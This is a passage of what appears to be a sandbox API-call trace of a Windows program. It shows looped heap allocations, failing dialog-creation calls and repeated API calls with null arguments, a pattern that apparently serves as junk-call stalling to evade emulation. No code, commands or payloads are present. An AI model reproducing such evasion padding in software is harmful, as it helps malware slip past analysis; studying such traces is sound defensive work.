hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.696] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.696] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.696] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.696] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.697] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.697] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.697] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.697] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.697] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.697] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.697] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.697] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.698] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.698] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.698] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.698] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.698] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.698] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.698] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.698] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.698] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.698] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.698] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.698] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.698] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193613793, cy=27, fuLoad=0x0) returned 0x0 [0026.698] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.698] GetLastError () returned 0x715 [0026.698] SetLastError (dwErrCode=0x715) [0026.698] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.699] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.699] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.699] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.699] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.699] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.699] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.699] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.699] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.700] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.700] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.700] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.700] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.700] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.700] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.700] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.700] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.700] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.700] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.701] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.701] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.701] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.701] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.701] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.701] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.701] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.701] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.701] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.701] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.701] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.701] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.701] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193594848, cy=27, fuLoad=0x0) returned 0x0 [0026.701] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.702] GetLastError () returned 0x715 [0026.702] SetLastError (dwErrCode=0x715) [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.702] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.702] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.702] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.702] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.702] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.702] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.703] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.703] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.703] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.703] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.703] RtlAllocateHeap 